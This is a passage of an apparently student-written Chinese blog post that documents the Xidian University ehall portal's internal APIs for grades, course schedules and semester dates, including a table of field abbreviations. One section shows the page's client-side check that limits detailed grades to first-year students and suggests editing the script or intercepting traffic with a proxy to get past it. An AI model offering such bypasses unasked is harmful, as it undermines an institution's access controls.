class=\"link\" href=\"http://ehall.xidian.edu.cn/login?service=http://ehall.xidian.edu.cn/new/index.html\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ehall.xidian.edu.cn/login?service=http://ehall.xidian.edu.cn/new/index.html\u003c/a\u003e。\n一站式登录成功的话,ehall.xidian.edu.cn 下面的 Cookie 会多一个 \u003ccode\u003eMOD_AUTH_CAS=MOD_AUTH_ST-...; path=/;\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e请求访问应用。向 \u003ccode\u003ehttp://ehall.xidian.edu.cn/appShow\u003c/code\u003e 发送 GET 请求,其中请求参数是 \u003ccode\u003e{\u0026quot;appId\u0026quot;: 要访问应用的内部序号}\u003c/code\u003e,header 追加参数如下:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;Accept\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"3\"\u003e\n\u003cli\u003e暂停自动跳转请求,截断下来要跳转的网址,去相应函数请求,如果那个功能必要的话。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"提前说明第二发\"\u003e提前说明第二发\u003c/h3\u003e\n\u003cp\u003e发送信息中如包含学期信息之情况,按照如此处理:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e2022-2023-1 == 2022-2023 学年第一学期\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e虽然是可以通过请求得到学期数据,不过有的地方,我打算自己算。所以如有对应需求,请查看 xidian-script 代码。\u003c/p\u003e\n\u003ch3 id=\"获取成绩学校想让你看到的\"\u003e获取成绩(学校想让你看到的)\u003c/h3\u003e\n\u003cp\u003e一会再告诉大家为啥是\u0026quot;学校想让你看到的\u0026quot;。先给大家介绍原理。\u003c/p\u003e\n\u003ch4 id=\"获取数据\"\u003e获取数据\u003c/h4\u003e\n\u003cp\u003e在获取数据前,还记得那个要跳转的网址吗?你一定要给那个网址发个 GET 请求,要不然,接下来的步骤报错 403 未授权。\u003c/p\u003e\n\u003cp\u003e实际上这玩意本质上,就是向 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx/xscjcx.do\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx/xscjcx.do\u003c/a\u003e 发送 POST 请求。不过发送的请求数据,要看情况。\u003c/p\u003e\n\u003cp\u003e首先说的是一个共有的请求数据,如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;SFYX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e//是否有效\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;value\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;linkOpt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;and\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;builder\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;m_value_equal\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后,如果你想查看某个学期的数据,还需要追加以下请求数据:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e//学年学期代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;value\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;2022-2023-1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"c1\"\u003e//学期学年代码,参考提前说明第二发\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;linkOpt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;and\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;builder\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;equal\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后,由于是 POST,所以没有请求数据设置(有错请指正)。所以我们附在 POST 报文的数据是:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003edata:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;*json\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;querySetting\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e将上面设置的请求数据编码为\u003c/span\u003e \u003cspan class=\"err\"\u003ejson\u003c/span\u003e \u003cspan class=\"err\"\u003e字符串\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;*order\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;+XNXQDM,KCH,KXH\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;pageSize\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e1000\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;pageNumber\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后返回的数据,基本上是坑爹的汉语拼音缩写,感觉大家应该会破译吧。毕竟人均黑虎阿福,都是会乌鸦坐飞机的。\u003c/p\u003e\n\u003ch4 id=\"关于那些坑爹的拼音缩写\"\u003e关于那些坑爹的拼音缩写\u003c/h4\u003e\n\u003cp\u003e我打开过网页的开发者模式,看到网络菜单有个请求,是向 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx.do\" target=\"_blank\" rel=\"noopener\"\n \u003ehttps://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx.do\u003c/a\u003e 的 POST 请求。发送的也和上面的头差不多。然后他返回的信息,就是那些坑爹缩写的完整含义。实际上有好多,这里我只列出和查成绩相关的东西。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eXNXQDM\u003c/td\u003e\n\u003ctd\u003e学年学期(代码)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCM\u003c/td\u003e\n\u003ctd\u003e课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCH\u003c/td\u003e\n\u003ctd\u003e课程号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXSKCM\u003c/td\u003e\n\u003ctd\u003e(学生)课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXSKCH\u003c/td\u003e\n\u003ctd\u003e(学生)课程号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZCJ\u003c/td\u003e\n\u003ctd\u003e总成绩\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCLBDM\u003c/td\u003e\n\u003ctd\u003e课程类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCXZDM\u003c/td\u003e\n\u003ctd\u003e课程性质\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXGXKLBDM\u003c/td\u003e\n\u003ctd\u003e校公选课类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXF\u003c/td\u003e\n\u003ctd\u003e学分\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXS\u003c/td\u003e\n\u003ctd\u003e学时\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXDFSDM\u003c/td\u003e\n\u003ctd\u003e修读方式\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSFZX\u003c/td\u003e\n\u003ctd\u003e修读类型\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXFJD\u003c/td\u003e\n\u003ctd\u003e绩点\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJDF\u003c/td\u003e\n\u003ctd\u003e积点分(绩点分)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJXBID\u003c/td\u003e\n\u003ctd\u003e教学班id\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCXCKDM\u003c/td\u003e\n\u003ctd\u003e重修重考\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSFJG\u003c/td\u003e\n\u003ctd\u003e是否及格\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSFYX\u003c/td\u003e\n\u003ctd\u003e是否有效\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch4 id=\"为啥是学校想让你看到的\"\u003e为啥是\u0026quot;学校想让你看到的\u0026quot;\u003c/h4\u003e\n\u003cp\u003e我发现,正常情况下,只有大一新生才能看到自己成绩的排名和具体组成。我查看了页面的源代码,在 \u003ccode\u003etop/ehall.xidian.edu.cn/jwapp/cjcx/*default/modules/cjcx/dqxq/dqxq.js?av=一个时常变化的数\u003c/code\u003e 文件中,有以下几行:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-js\" data-lang=\"js\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// The tenth line.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eisDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"c1\"\u003e//是否为大一学生(默认为否)西电大一学生可以查看成绩详情\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// The thirty-eighth line and below.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"nx\"\u003echeckIsDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eisDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003edqxnxqdm\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"c1\"\u003e//2017-2018-1\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003exznj\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"c1\"\u003e//2017\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;90001\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"nx\"\u003ejwlcgl\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetRZLB\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eroleId\u003c/span\u003e\u003cspan class=\"p\"\u003e)){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eurl\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eWIS_EMAP_SERV\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetAbsPath\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/modules/cjcx/cxxsjbxx.do\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eres\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eBH_UTILS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edoSyncAjax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eurl\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecode\u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edatas\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecxxsjbxx\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eextParams\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecode\u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003exznj\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edatas\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecxxsjbxx\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eextParams\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emsg\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"nx\"\u003exznj\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eisDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\t\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003e$\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ebhTip\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;学生现在年级查询失败,请稍后再试...\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;danger\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e要想看倒也容易,在网页下载完这个文件但还没加载之前,改掉这俩地方。具体各位可以上网搜\u0026quot;如何在 Chrome 中修改网页代码\u0026quot;。或者使用 Charles 或者 mitproxy 搞中间人拦截,手动改包。\u003c/p\u003e\n\u003cp\u003e另外说明,这个文件感觉是包含了所有跟查成绩相关的代码,要想深入了解的话可以看看。我对这玩意居然没有加密混淆表示无法理解。\u003c/p\u003e\n\u003cp\u003e最后我想问的是,这是什么高年级歧视。如果是要”保护“老师的话,不如想想为啥我们学生会对某些老师敬而远之。\u003c/p\u003e\n\u003ch3 id=\"获取课表数据\"\u003e获取课表数据\u003c/h3\u003e\n\u003cp\u003e一般来说,获取到的数据是需要处理的。xidian-script 是处理成 iCalender 文件,一个国际上用来处理日历和备忘录的标准格式。我的程序计划是利用 Dart 的一个库,保存成 iCalender 。然后我在网上找到个课表的实现,试着套一下。\u003c/p\u003e\n\u003ch4 id=\"当前学期信息\"\u003e当前学期信息\u003c/h4\u003e\n\u003cp\u003e没错,这回我不打算自己合成了:-P\u003c/p\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/dqxnxq.do\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/dqxnxq.do\u003c/a\u003e 发送 POST 请求。如果成功的话,在回复数据中的 \u003ccode\u003e['datas']['dqxnxq']['rows'][0]['DM']\u003c/code\u003e 中,就会包含这个学期的数据,格式见上文的提前说明。\u003c/p\u003e\n\u003cp\u003e感觉其他类似的应用应该有类似的方式来获取目前的学期,或者是所有的学期号码。\u003c/p\u003e\n\u003ch4 id=\"获取开学日期\"\u003e获取开学日期\u003c/h4\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/cxjcs.do\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/cxjcs.do\u003c/a\u003e 发送 POST 请求,发送的数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;XN\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e\u0026#39;学期代码的第一个数字-学期代码的第二个数字\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e//学年\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;XQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e学期代码的最后一个数字\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 学期\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e获取的日期字符串在返回数据的 \u003ccode\u003e['datas']['cxjcs']['rows'][0][\u0026quot;XQKSRQ\u0026quot;]\u003c/code\u003e 